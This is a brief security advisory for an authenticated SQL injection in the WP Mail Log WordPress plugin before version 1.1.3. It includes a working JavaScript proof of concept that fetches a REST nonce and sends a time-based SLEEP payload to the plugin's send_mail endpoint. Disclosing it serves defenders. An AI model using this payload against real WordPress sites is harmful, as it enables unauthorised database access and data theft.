WP Mail Log < 1.1.3 – Contributor+ SQL Injection in wml_logs/send_mail endpoint

Proof of Concept

Run the following within any page on the site. Notice that the request is delayed by the SLEEP call in the injected SQL.

var nonce = await (await fetch('/wp-admin/admin-ajax.php?action=rest-nonce')).text();

await (await fetch('/wp-json/wml/v1/wml_logs/send_mail', {method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded', 'X-WP-Nonce': nonce}, body: 'id=(SELECT IF (1=1,SLEEP(10),1))&to_email=send@example.com'})).text();